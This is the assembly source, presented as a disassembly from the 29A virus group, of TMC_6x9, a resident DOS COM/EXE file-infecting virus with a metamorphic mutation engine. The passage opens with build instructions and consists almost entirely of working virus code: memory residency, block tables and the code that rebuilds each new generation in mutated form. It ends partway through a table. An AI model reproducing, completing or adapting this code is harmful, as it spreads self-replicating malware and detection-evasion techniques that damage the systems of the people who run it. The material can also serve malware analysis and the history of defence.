comment * TMC_6x9 млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Super/29A and Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл TMC_6x9 is a 5393 bytes resident appending COM and EXE virus. Infects at open file, close file and load and/or execute program. TMC_6x9 has an error handler, retro structures and is metamorphic in file and memory using Tiny Mutation Compiler v 1.00 [TMC]. To compile TMC_6x9 with Turbo Assembler v 5.0 type: TASM /M TMC_6X9.ASM TLINK /x TMC_6X9.OBJ EXE2BIN TMC_6X9.EXE TMC_6X9.COM * .model tiny .code code_begin: db 10001101b,00101110b ; LEA BP,[imm16] (opcode 8dh,2eh) dw 100h ; Delta offset cld ; Clear direction flag mov ax,ds ; AX = segment of PSP for current ... mov [bp+program_seg],ax ; Store segment of PSP for current... dec ax ; AX = segment of current Memory C... mov ds,ax ; DS = segment of current Memory C... mov ax,ds:[03h] ; AX = size of memory block in par... cmp ax,1900h ; Insufficient memory? jae resize_mem ; Above or equal? Jump to resize_mem jmp terminate resize_mem: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov [bp+mcb_size_],ax ; Store size of memory block in p... mov bx,[bp+new_mcb_size] mov ah,4ah ; Resize memory block int 21h jnc allocate_mem ; No error? Jump to allocate_mem jmp terminate allocate_mem: mov ah,48h ; Allocate memory mov bx,[bp+mcb_size_] ; BX = size of memory block in par... sub bx,[bp+new_mcb_size] dec bx ; BX = number of paragraphs to all... cmp bx,267h ; Insufficient memory? jae allocat_mem ; Above or equal? Jump to allocat_mem jmp terminate allocat_mem: int 21h jnc initiali_tmc ; No error? Jump to initiali_tmc jmp terminate initiali_tmc: mov es,ax ; ES = segment of allocated memory add es:[02h],6942h ; Store 16-bit random number mov word ptr es:[0ch],00h mov es:[04h],118h ; Store offset of block information mov es:[06h],2c8h ; Store offset of CALL; JMP; Jcc i... mov es:[08h],5a8h ; Store offset of data information lea si,[bp+tmc_table] ; SI = offset of tmc_table push si ; Save SI at stack mov bx,730h ; BX = offset of next virus genera... jmp initial_tmc initial_tmc: mov di,10h ; DI = offset of table of blocks xor ax,ax ; Zero AX jmp tmc_ini_loop tmc_ini_loop: add si,ax ; SI = offset of block or instruct... call decrypt_byte or al,al ; End of table? jz calc_blocks ; Zero? Jump to calc_blocks nop nop nop cmp al,11101000b ; CALL; JMP; Data reference; Jcc? jae exam_block ; Above or equal? Jump to exam_block nop nop nop cmp al,10h ; Data? jbe tmc_ini_loop ; Below or equal? Jump to tmc_ini_... nop nop nop sub al,10h ; AL = length of data jmp tmc_ini_loop exam_block: cmp al,11101111b ; End of block? jne exam_block_ ; Not equal? Jump to exam_block_ nop nop nop mov al,00h ; Don't add anything to offset wit... jmp tmc_ini_loop exam_block_: cmp al,11101110b ; Beginning of block? jne next_byte ; Not equal? Jump to next_byte nop nop nop mov ax,si ; AX = offset of block identification dec ax ; AX = offset of block within table stosw ; Store offset of block within table mov ax,0ffffh ; Block is still in one part stosw ; Store block identification mov ax,02h ; Add two to offset within table jmp tmc_ini_loop next_byte: mov al,02h ; Add two to offset within table jmp tmc_ini_loop calc_blocks: lea ax,[di-10h] ; AX = number of blocks multiplied... shr ax,01h ; Divide number of blocks by two shr ax,01h ; Divide number of blocks by two mov es:[0ah],ax ; Store number of blocks xor ax,ax ; End of table stosw ; Store end of table mov di,10h ; DI = offset of table of blocks mov si,es:[di] ; SI = offset of block within table jmp exam_bloc split_block: push bp ; Save BP at stack mov bp,es:[0ah] ; BP = number of blocks call rnd_in_range pop bp ; Load BP from stack shl ax,01h ; Multiply random number with two shl ax,01h ; Multiply random number with two add ax,10h ; Add ten to random number mov di,ax ; DI = random offset within table jmp exam_nxt_blo exam_nxt_blo: add di,04h ; DI = offset of next offset withi... mov si,es:[di] ; SI = offset of next block within... or si,si ; End of table? jnz exam_block__ ; Not zero? Jump to exam_block__ nop nop nop mov di,10h ; DI = offset of table of blocks mov si,es:[di] ; SI = offset of block within table jmp exam_block__ exam_block__: push ax ; Save AX at stack call decrypt_byte dec si ; Decrease offset of block within ... cmp al,11101111b ; End of block? pop ax ; Load AX from stack jne exam_bloc ; Not equal? Jump to exam_bloc nop nop nop cmp di,ax ; End of table of blocks? jne exam_nxt_blo ; Not equal? Jump to exam_nxt_blo nop nop nop jmp exam_tbl_inf exam_bloc: mov ax,es:[di+02h] ; AX = block information cmp ax,0ffffh ; Block is still in one part? je exam_bloc_ ; Equal? Jump to exam_bloc_ nop nop nop push di ; Save DI at stack mov di,ax ; DI = offset of end of first part... mov al,11101001b ; JMP imm16 (opcode 0e9h) stosb ; Store JMP imm16 mov ax,bx ; AX = offset within next virus ge... dec ax ; Decrease offset within next viru... dec ax ; Decrease offset within next viru... sub ax,di ; Subtract offset of end of first ... stosw ; Store 16-bit immediate pop di ; Load DI from stack jmp exam_bloc_ exam_bloc_: call decrypt_byte cmp al,11101111b ; End of block? jne exam_bloc__ ; Not equal? Jump to exam_bloc__ jmp end_of_block exam_bloc__: cmp al,10h ; Data; CALL; JMP; Data reference...? ja exam_bloc___ ; Above? Jump to exam_bloc___ nop nop nop push ax bp ; Save registers at stack mov bp,[bp+probability] ; BP = probability call rnd_in_range or ax,ax ; Split up block? pop bp ax ; Load registers from stack jz split_block ; Zero? Jump to split_block nop nop nop jmp exam_bloc___ exam_bloc___: cmp al,11101111b ; End of block? jne exam_blo ; Not equal? Jump to exam_blo jmp end_of_block exam_blo: cmp al,11101000b ; CALL; JMP; Data reference; Jcc? jae exam_data ; Above or equal? Jump to exam_data nop nop nop cmp al,10h ; Data? jbe sto_instruct ; Below or equal? Jump to sto_inst... nop nop nop sub al,10h ; AL = length of data jmp sto_instruct sto_instruct: xor cx,cx ; Zero CX mov cl,al ; CL = length of instruction push di ; Save DI at stack mov di,bx ; DI = offset within next virus ge... jmp sto_ins_loop sto_ins_loop: call decrypt_byte stosb ; Store byte of instruction dec cx ; Decrease counter jnz sto_ins_loop ; Not zero? Jump to sto_ins_loop nop nop nop mov bx,di ; BX = offset within next virus ge... pop di ; Load DI from stack jmp exam_bloc_ exam_data: cmp al,11101101b ; Data reference? jne exam_blo_ ; Not equal? Jump to exam_blo_ nop nop nop push di ; Load DI from stack mov di,es:[08h] ; DI = offset within data information mov ax,bx ; AX = offset within next virus ge... dec ax ; Decrease offset within next viru... dec ax ; Decrease offset within next viru... stosw ; Store offset within next virus g... call decrypt_id stosw ; Store block identification mov es:[08h],di ; Store offset within data informa... pop di ; Load DI from stack jmp exam_bloc_ exam_blo_: cmp al,11101110b ; Beginning of block? jne sto_call_jmp ; Not equal? Jump to sto_call_jmp nop nop nop push di ; Save DI at stack mov di,es:[04h] ; DI = offset within block informa... mov ax,bx ; AX = offset within next virus ge... stosw ; Store offset within next virus g... call decrypt_id stosw ; Store block identification mov es:[04h],di ; Store offset within block inform... cmp ax,4c5h ; Block identification of tmc_table_? jne exam_message ; Not equal? Jump to exam_message nop nop nop push si ; Save SI at stack mov di,bx ; DI = offset within next virus ge... lea si,[bp+tmc_table] ; SI = offset of tmc_table mov cx,(table_end-table_begin) rep movsb ; Move table to top of memory mov bx,di ; BX = offset within next virus ge... pop si ; Load SI from stack jmp examine_next exam_message: cmp ax,2328h ; Block identification of message? jne exam_probabi ; Not equal? Jump to exam_probabi nop nop nop mov ax,14h ; Probability of including message cmp [bp+probability],ax ; Include message? jae examine_next ; Above or equal? Jump to examine_... nop nop nop call decrypt_byte sub al,10h ; AL = length of message mov ah,00h ; Zero AH add si,ax ; SI = offset of end of message jmp examine_next exam_probabi: cmp ax,0bech ; Block identification of probabi...? jne examine_next ; Not equal? Jump to examine_next nop nop nop mov ax,[bp+probability] ; AX = probability dec ax ; Decrease probability cmp ax,05h ; Probability too small? jae store_probab ; Above or equal? Jump to store_pr... nop nop nop mov ax,64h ; Reset probability jmp store_probab store_probab: mov es:[bx],ax ; Store probability add bx,02h ; Add two to offset within next vi... add si,03h ; SI = offset of beginning of next... jmp examine_next examine_next: pop di ; Load DI from stack call decrypt_byte jmp exam_bloc___ sto_call_jmp: push ax di ; Save registers at stack mov di,es:[06h] ; DI = offset within CALL; JMP; Jc... mov ax,bx ; AX = offset within next virus ge... stosw ; Store offset within next virus g... call decrypt_id stosw ; Store block identification mov es:[06h],di ; Store offset within CALL; JMP; J... pop di ax ; Load registers from stack mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc... add bx,03h ; Add three to offset within next ... cmp al,11110000b ; Jump condition? jae jcc_imm8 ; Above or equal? Jump to jcc_imm8 jmp exam_bloc_ jcc_imm8: inc bx ; Increase offset within next viru... inc bx ; Increase offset within next viru... jmp exam_bloc_ split_block_: mov es:[di+02h],bx ; Store offset within next virus g... add bx,03h ; Add three to offset within next ... jmp end_of_block end_of_block: dec si ; Decrease offset of block within ... mov es:[di],si ; Store offset of block within table jmp split_block exam_tbl_inf: cmp word ptr es:[0ch],00h jne correct_i16 ; End of second table? Jump to cor... nop nop nop pop si ; Load SI from stack mov es:[0ch],bx ; Store offset within next virus g... add si,(second_table-first_table) jmp initial_tmc correct_i16: push es ; Save ES at stack pop ds ; Load DS from stack (ES) sub bx,730h ; Subtract offset of next virus ge... mov ds:[0eh],bx ; Store length of virus mov si,2c8h ; SI = offset of CALL; JMP; Jcc im... mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;... sub cx,si ; Subtract offset of CALL; JMP; Jc... shr cx,01h ; Divide number of CALL imm16; JMP... shr cx,01h ; Divide number of CALL imm16; JMP... jmp jmp_call_loo jmp_call_loo: lodsw ; AX = offset of block within data... push ax ; Save AX at stack lodsw ; AX = offset of block within data... push cx si ; Save registers at stack mov si,118h ; SI = offset of block information mov cx,ds:[04h] ; CX = offset of end of block info... sub cx,si ; Subtract offset of block informa... shr cx,01h ; Divide number of block by two shr cx,01h ; Divide number of block by two jmp find_block find_block: cmp ax,[si+02h] ; Found block? je found_block ; Equal? Jump to found_block nop nop nop add si,04h ; SI = offset of next block in table dec cx ; Decrease counter jnz find_block ; Not zero? Jump to find_block nop nop nop found_block: mov dx,[si] ; DX = offset of block pop si cx ; Load registers from stack pop bx ; Load BX from stack (AX) mov al,[bx] ; AL = first byte of instruction cmp al,11110000b ; Jump condition? jb sto_call_jm ; Below? Jump to sto_call_jm nop nop nop sub byte ptr [bx],10000000b inc bx ; BX = offset of 8-bit immediate push dx ; Save DX at stack sub dx,bx ; Subtract offset within next viru... dec dx ; Decrease 8-bit immediate cmp dx,7fh ; 8-bit immediate out of range? jg invert_jcc ; Greater? Jump to invert_jcc nop nop nop cmp dx,0ff80h ; 8-bit immediate out of range? jl invert_jcc ; Less? Jump to invert_jcc nop nop nop mov [bx],dl ; Store 8-bit immediate inc bx ; BX = offset of end of Jcc imm8 mov [bx],1001000010010000b mov byte ptr [bx+02h],10010000b pop dx ; Load DX from stack jmp correct_i16_ invert_jcc: pop dx ; Load DX from stack dec bx ; BX = offset of Jcc imm8 xor byte ptr [bx],00000001b inc bx ; BX = offset of 8-bit immediate mov byte ptr [bx],03h ; Store 8-bit immediate inc bx ; BX = offset of JMP imm16 mov al,11101001b ; JMP imm16 (opcode 0e9h) jmp sto_call_jm sto_call_jm: mov [bx],al ; Store CALL imm16; JMP imm16 inc bx ; BX = offset of 16-bit immediate sub dx,bx ; Subtract offset within next viru... dec dx ; Decrease 16-bit immediate dec dx ; Decrease 16-bit immediate mov [bx],dx ; Store 16-bit immediate jmp correct_i16_ correct_i16_: dec cx ; Decrease counter jnz jmp_call_loo ; Not zero? Jump to jmp_call_loo nop nop nop mov si,5a8h ; SI = offset of data information mov cx,ds:[08h] ; CX = offset of end of data infor... sub cx,si ; Subtract offset of data informat... shr cx,01h ; Divide number of data references... shr cx,01h ; Divide number of data references... jmp data_ref_loo data_ref_loo: lodsw ; AX = offset of block within data... push ax ; Save AX at stack lodsw ; AX = offset of block within data... push cx si ; Save registers at stack mov si,118h ; SI = offset of block information mov cx,ds:[04h] ; CX = offset of end of block info... sub cx,si ; Subtract offset of block informa... shr cx,01h ; Divide number of block by two shr cx,01h ; Divide number of block by two jmp find_block_ find_block_: cmp ax,[si+02h] ; Found block? je found_block_ ; Equal? Jump to found_block_ nop nop nop add si,04h ; SI = offset of next block in table dec cx ; Decrease counter jnz find_block_ ; Not zero? Jump to find_block_ nop nop nop found_block_: mov ax,[si] ; AX = offset of block pop si cx ; Load registers from stack pop bx ; Load BX from stack (AX) sub ax,730h ; Subtract offset of next virus ge... mov [bx],ax ; Store 16-bit immediate dec cx ; Decrease counter jnz data_ref_loo ; Not zero? Jump to data_ref_loo nop nop nop jmp restore_code restore_code: mov ax,[bp+program_seg] ; AX = segment of PSP for current ... mov cx,[bp+initial_ss] ; CX = initial SS relative to star... add cx,10h ; Add ten to initial SS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+initial_sp] ; Save initial SP at stack mov cx,[bp+initial_cs] ; CX = initial CS relative to star... add cx,10h ; Add ten to initial CS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+initial_ip] ; Save initial IP at stack push ax ; Save segment of PSP for current ... push [bp+mcb_size] ; Save size of memory block in par... push ds ; Save DS at stack mov cl,00h ; COM executable cmp [bp+executa_stat],cl jne move_virus ; COM executable? Jump to move_virus nop nop nop lea si,[bp+origin_code] ; SI = offset of origin_code mov ax,cs:[si] ; AX = first two bytes of original... mov cs:[100h],ax ; Store first two bytes of origina... mov al,cs:[si+02h] ; AL = last byte of original code ... mov cs:[100h+02h],al ; Store last byte of original code... jmp move_virus mov ax,[bp+program_seg] ; AX = segment of PSP for current ... mov cx,[bp+initial_ss] ; CX = initial SS relative to star... add cx,10h ; Add ten to initial SS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+initial_sp] ; Save initial SP at stack mov cx,[bp+initial_cs] ; CX = initial CS relative to star... add cx,10h ; Add ten to initial CS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+incorrect_ip] ; Save incorrect IP at stack push ax ; Save segment of PSP for current ... push [bp+mcb_size] ; Save size of memory block in par... push ds ; Save DS at stack mov cl,00h ; COM executable cmp [bp+executa_stat],cl jne move_virus ; COM executable? Jump to move_virus nop nop nop lea si,[bp+incorr_code] ; SI = offset of incorr_code mov ax,cs:[si] ; AX = first two bytes of incorrec... mov cs:[100h],ax ; Store first two bytes of incorre... mov al,cs:[si+02h] ; AL = last byte of incorrect code mov cs:[100h+02h],al ; Store last byte of incorrect code jmp move_virus move_virus: xor ax,ax ; Zero AX mov ds,ax ; DS = segment of DOS communicatio... cmp byte ptr ds:[501h],10h jne move_virus_ ; Already resident? Jump to move_v... jmp virus_exit move_virus_: mov byte ptr ds:[501h],10h push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ax,ds:[0ch] ; AX = offset within next virus ge... sub ax,730h ; Subtract offset of next virus ge... mov [bp+vir_exit_off],ax mov cx,ds:[0eh] ; CX = length of virus mov [bp+virus_length],cx mov si,730h ; SI = offset of next virus genera... xor di,di ; Zero DI rep movsb ; Move virus to top of memory mov cl,04h ; Divide by paragraphs shr di,cl ; DI = length of next virus genera... inc di ; Increase length of next virus ge... mov bx,[bp+mcb_size_] ; BX = size of memory block in par... sub bx,[bp+new_mcb_size] sub bx,di ; Subtract length of next virus ge... dec bx ; Decrease new size in paragraphs dec bx ; Decrease new size in paragraphs cmp bx,di ; Insufficient memory? jae resize_mem_ ; Above or equal? Jump to resize_mem_ jmp virus_exit resize_mem_: mov ah,4ah ; Resize memory block int 21h jnc allocat_mem_ ; No error? Jump to allocat_mem_ jmp virus_exit allocat_mem_: mov bx,di ; BX = number of paragraphs to all... mov ah,48h ; Allocate memory int 21h jc virus_exit ; Error? Jump to virus_exit nop nop nop dec ax ; AX = segment of current Memory C... mov es,ax ; ES = segment of current Memory C... mov word ptr es:[01h],08h inc ax ; AX = segment of PSP for current ... mov es,ax ; AX = segment of PSP for current ... mov cx,[bp+virus_length] xor si,si ; Zero SI xor di,di ; Zero DI rep movsb ; Move virus to top of memory push es ; Save ES at stack push word ptr [bp+vir_exit_off] mov al,[bp+crypt_key] ; AL = 8-bit encryption/decryption... mov ah,byte ptr [bp+sliding_key] retf ; Return far terminate: mov ax,4c00h ; Terminate with return code int 21h get_rnd_num proc near ; Get 16-bit random number push cx ; Save CX at stack in al,40h ; AL = 8-bit random number mov ah,al ; AH = 8-bit random number in al,40h ; AL = 8-bit random number xor ax,es:[02h] ; AX = 16-bit random number mov cl,ah ; CL = high-order byte of 16-bit r... rol ax,cl ; AX = 16-bit random number mov es:[02h],ax ; Store 16-bit random number pop cx ; Load CX from stack ret ; Return endp rnd_in_range proc near ; Random number within range or bp,bp ; Zero BP? jz zero_range ; Zero? Jump to zero_range nop nop nop push dx ; Save DX at stack call get_rnd_num xor dx,dx ; Zero DX div bp ; DX = random number within range xchg ax,dx ; AX = random number within range pop dx ; Load DX from stack ret ; Return zero_range: xor ax,ax ; AX = random number within range ret ; Return endp decrypt_byte proc near ; Decrypt byte of table mov [bp+ah_],ah ; Store AH mov ax,si ; AX = offset within table sub ax,bp ; Subtract delta offset from offse... sub ax,offset tmc_table ; Subtract offset of tmc_table fro... mul word ptr [bp+sliding_key] add al,[bp+crypt_key] ; AL = 8-bit encryption/decryption... xor al,[si] ; AL = byte of decrypted table mov ah,[bp+ah_] ; AH = stored AH inc si ; Increase offset within table ret ; Return endp decrypt_id proc near ; Decrypt block identification in ... call decrypt_byte mov ah,al ; AL = byte of decrypted table call decrypt_byte xchg al,ah ; AL = byte of decrypted table ret ; Return endp virus_exit: pop es ; Load ES from stack mov ah,49h ; Free memory int 21h pop bx ; Load BX from stack pop ax ; Load AX from stack mov ds,ax ; DS = segment of PSP for current ... mov es,ax ; DS = segment of PSP for current ... mov ah,4ah ; Resize memory block int 21h lea bx,[bp+jmp_imm32] ; BX = offset of jmp_imm32 pop ax ; Load AX from stack (initial IP) mov cs:[bx+01h],ax ; Store initial IP pop ax ; Load AX from stack (initial CS ...) mov cs:[bx+03h],ax ; Store initial CS relative to sta... pop ax ; Load AX from stack (initial SP) pop ss ; Load SS from stack (initial SS ...) mov sp,ax ; SP = stack pointer jmp jmp_imm32 jmp_imm32 equ $ ; Offset of JMP imm32 (opcode 0eah) db 11101010b ; JMP imm32 (opcode 0eah) dd 00h ; Pointer to virus in top of memory ah_ db 00h ; Accumulator register (high-orde...) probability dw 32h ; Probability crypt_key db 00h ; 8-bit encryption/decryption key sliding_key dw 00h ; 8-bit sliding encryption/decrypt... executa_stat db 00h ; Executable status origin_code db 11000011b,02h dup(00h) incorr_code db 11000011b,02h dup(00h) initial_cs dw 0fff0h ; Initial CS relative to start of ... initial_ss dw 0fff0h ; Initial SS relative to start of ... initial_ip dw 100h ; Initial IP incorrect_ip dw 100h ; Incorrect IP initial_sp dw 0fffeh ; Initial SP new_mcb_size dw 1000h ; New size in paragraphs mcb_size dw 0ffffh ; Size of memory block in paragraphs mcb_size_ dw 00h ; Size of memory block in paragraphs program_seg dw 00h ; Segment of PSP for current process virus_length dw 00h ; Length of virus vir_exit_off dw 00h ; Offset of virus_exit table_begin: first_table: tmc_table db 11101111b ; End of block db 11101110b ; Beginning of block dw 00h ; Block identification of tmc_table db 04h ; Four bytes instruction db 10001101b,00101110b ; LEA BP,[imm16] (opcode 8dh,2eh) dw 1234h ; Delta offset db 01h ; One byte instruction cld ; Clear direction flag db 02h ; Two bytes instruction mov ax,ds ; AX = segment of PSP for current ... db 04h ; Four bytes instruction mov [bp+1234h],ax ; Store segment of PSP for current... db 11101101b ; Data reference dw 0befh ; Pointer to program_seg_ db 01h ; One byte instruction dec ax ; AX = segment of current Memory C... db 02h ; Two bytes instruction mov ds,ax ; DS = segment of current Memory C... db 03h ; Three bytes instruction mov ax,ds:[03h] ; AX = size of memory block in par... db 03h ; Three bytes instruction cmp ax,1900h ; Insufficient memory? db 01110010b+10000000b ; Below? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 04h ; Four bytes instruction mov [bp+1234h],ax ; Store size of memory block in p... db 11101101b ; Data reference dw 1394h ; Pointer to mcb_size___ db 04h ; Four bytes instruction mov bx,[bp+1234h] ; BX = new size in paragraphs db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 02h ; Two bytes instruction mov ah,4ah ; Resize memory block db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 02h ; Two bytes instruction mov ah,48h ; Allocate memory db 04h ; Four bytes instruction mov bx,[bp+1234h] ; BX = size of memory block in par... db 11101101b ; Data reference dw 1394h ; Pointer to mcb_size___ db 04h ; Four bytes instruction sub bx,[bp+1234h] ; Subtract new size in paragraphs ... db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 01h ; One byte instruction dec bx ; BX = number of paragraphs to all... db 04h ; Four bytes instruction cmp bx,267h ; Insufficient memory? db 01110010b+10000000b ; Below? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 02h ; Two bytes instruction mov es,ax ; ES = segment of allocated memory db 07h ; Seven bytes instruction add es:[02h],6942h ; Store 16-bit random number db 07h ; Seven bytes instruction mov word ptr es:[0ch],00h db 07h ; Seven bytes instruction mov es:[04h],118h ; Store offset of block information db 07h ; Seven bytes instruction mov es:[06h],2c8h ; Store offset of CALL; JMP; Jcc i... db 07h ; Seven bytes instruction mov es:[08h],5a8h ; Store offset of data information db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of tmc_table_ db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov bx,730h ; BX = offset of next virus genera... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fa0h ; Pointer to initial_tmc db 11101111b ; End of block initial_tmc_ db 11101110b ; Beginning of block dw 0fa0h ; Block identification of initial_... db 03h ; Three bytes instruction mov di,10h ; DI = offset of table of blocks db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block tmc_ini_loo db 11101110b ; Beginning of block dw 0bb8h ; Block identification of tmc_ini_loo db 02h ; Two bytes instruction add si,ax ; SI = offset of block or instruct... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction or al,al ; End of table? db 01110100b+10000000b ; Zero? Jump to calc_blocks_ dw 0bbch ; Pointer to calc_blocks_ db 02h ; Two bytes instruction cmp al,11101000b ; CALL; JMP; Data reference; Jcc? db 01110011b+10000000b ; Above or equal? Jump to exam_blo__ dw 0bb9h ; Pointer to exam_blo__ db 02h ; Two bytes instruction cmp al,10h ; Data? db 01110110b+10000000b ; Below or equal? Jump to tmc_ini_... dw 0bb8h ; Pointer to tmc_ini_loo db 02h ; Two bytes instruction sub al,10h ; AL = length of data db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block exam_blo__ db 11101110b ; Beginning of block dw 0bb9h ; Block identification of exam_blo__ db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01110101b+10000000b ; Not equal? Jump to exam_blo___ dw 0bbah ; Pointer to exam_blo___ db 02h ; Two bytes instruction mov al,00h ; Don't add anything to offset wit... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block exam_blo___ db 11101110b ; Beginning of block dw 0bbah ; Block identification of exam_blo___ db 02h ; Two bytes instruction cmp al,11101110b ; Beginning of block? db 01110101b+10000000b ; Not equal? Jump to next_byte_ dw 0bbbh ; Pointer to next_byte_ db 02h ; Two bytes instruction mov ax,si ; AX = offset of block identification db 01h ; One byte instruction dec ax ; AX = offset of block within table db 01h ; One byte instruction stosw ; Store offset of block within table db 03h ; Three bytes instruction mov ax,0ffffh ; Block is still in one part db 01h ; One byte instruction stosw ; Store block identification db 03h ; Three bytes instruction mov ax,02h ; Add two to offset within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block next_byte_ db 11101110b ; Beginning of block dw 0bbbh ; Block identification of next_byte_ db 02h ; Two bytes instruction mov al,02h ; Add two to offset within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block calc_blocks_ db 11101110b ; Beginning of block dw 0bbch ; Block identification of calc_blo... db 03h ; Three bytes instruction lea ax,[di-10h] ; AX = number of blocks multiplied... db 02h ; Two bytes instruction shr ax,01h ; Divide number of blocks by two db 02h ; Two bytes instruction shr ax,01h ; Divide number of blocks by two db 04h ; Four bytes instruction mov es:[0ah],ax ; Store number of blocks db 02h ; Two bytes instruction xor ax,ax ; End of table db 01h ; One byte instruction stosw ; Store end of table db 03h ; Three bytes instruction mov di,10h ; DI = offset of table of blocks db 03h ; Three bytes instruction mov si,es:[di] ; SI = offset of block within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc0h ; Pointer to exam_bl db 11101111b ; End of block split_bloc db 11101110b ; Beginning of block dw 0bbdh ; Block identification of split_bloc db 01h ; One byte instruction push bp ; Save BP at stack db 05h ; Five bytes instruction mov bp,es:[0ah] ; BP = number of blocks db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 01h ; One byte instruction pop bp ; Load BP from stack db 02h ; Two bytes instruction shl ax,01h ; Multiply random number with two db 02h ; Two bytes instruction shl ax,01h ; Multiply random number with two db 03h ; Three bytes instruction add ax,10h ; Add ten to random number db 02h ; Two bytes instruction mov di,ax ; DI = random offset within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bbeh ; Pointer to exam_nxt_bl_ db 11101111b ; End of block exam_nxt_bl_ db 11101110b ; Beginning of block dw 0bbeh ; Block identification of exam_nxt... db 03h ; Three bytes instruction add di,04h ; DI = offset of next offset withi... db 03h ; Three bytes instruction mov si,es:[di] ; SI = offset of next block within... db 02h ; Two bytes instruction or si,si ; End of table? db 01110101b+10000000b ; Not zero? Jump to exam_blo____ dw 0bbfh ; Pointer to exam_blo____ db 03h ; Three bytes instruction mov di,10h ; DI = offset of table of blocks db 03h ; Three bytes instruction mov si,es:[di] ; SI = offset of block within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bbfh ; Pointer to exam_blo____ db 11101111b ; End of block exam_blo____ db 11101110b ; Beginning of block dw 0bbfh ; Block identification of exam_blo... db 01h ; One byte instruction push ax ; Save AX at stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 01h ; One byte instruction dec si ; Decrease offset of block within ... db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01h ; One byte instruction pop ax ; Load AX from stack db 01110101b+10000000b ; Not equal? Jump to exam_bl dw 0bc0h ; Pointer to exam_bl db 02h ; Two bytes instruction cmp di,ax ; End of table of blocks? db 01110101b+10000000b ; Not equal? Jump to exam_nxt_bl_ dw 0bbeh ; Pointer to exam_nxt_bl_ db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcah ; Pointer to exam_tbl_in db 11101111b ; End of block exam_bl db 11101110b ; Beginning of block dw 0bc0h ; Block identification of exam_bl db 04h ; Four bytes instruction mov ax,es:[di+02h] ; AX = block information db 03h ; Three bytes instruction cmp ax,0ffffh ; Block is still in one part? db 01110100b+10000000b ; Equal? Jump to exam_bl_ dw 0bc1h ; Pointer to exam_bl_ db 01h ; One byte instruction push di ; Save DI at stack db 02h ; Two bytes instruction mov di,ax ; DI = offset of end of first part... db 02h ; Two bytes instruction mov al,11101001b ; JMP imm16 (opcode 0e9h) db 01h ; One byte instruction stosb ; Store JMP imm16 db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 02h ; Two bytes instruction sub ax,di ; Subtract offset of end of first ... db 01h ; One byte instruction stosw ; Store 16-bit immediate db 01h ; One byte instruction pop di ; Load DI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block exam_bl_ db 11101110b ; Beginning of block dw 0bc1h ; Block identification of exam_bl_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01110100b+10000000b ; Equal? Jump to end_of_bloc dw 0bc9h ; Pointer to end_of_bloc db 02h ; Two bytes instruction cmp al,10h ; Data; CALL; JMP; Data reference...? db 01110111b+10000000b ; Above? Jump to exam_bl__ dw 0bc2h ; Pointer to exam_bl__ db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push bp ; Save BP at stack db 04h ; Four bytes instruction mov bp,[bp+1234h] ; BP = probability db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 02h ; Two bytes instruction or ax,ax ; Split up block? db 01h ; One byte instruction pop bp ; Load BP from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 01110100b+10000000b ; Zero? Jump to split_bloc_ dw 0bc8h ; Pointer to split_bloc_ db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc2h ; Pointer to exam_bl__ db 11101111b ; End of block exam_bl__ db 11101110b ; Beginning of 